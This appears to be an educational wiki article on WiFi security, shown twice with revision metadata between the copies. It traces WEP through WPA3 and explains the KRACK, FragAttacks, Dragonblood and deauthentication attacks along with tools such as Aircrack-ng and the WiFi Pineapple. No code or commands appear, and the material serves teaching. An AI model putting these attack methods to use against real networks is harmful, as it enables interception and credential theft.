WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
<ref name="WEP versus WPA">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Mansoori
| first3 = Masood
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)
| booktitle = 2009 International Conference on Signal Processing Systems
| year = 2009
| pages = 445-449
| doi = 10.1109/ICSPS.2009.87
| url = https://ieeexplore.ieee.org/document/5166826
}}</ref>

*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:00:22Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
<ref name="WEP versus WPA>{{Conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Mansoori
| first3 = Masood
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)
| booktitle = 2009 International Conference on Signal Processing Systems
| year = 2009
| pages = 445-449
| doi = 10.1109/ICSPS.2009.87
| url = https://ieeexplore.ieee.org/document/5166826
}}</ref>

*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
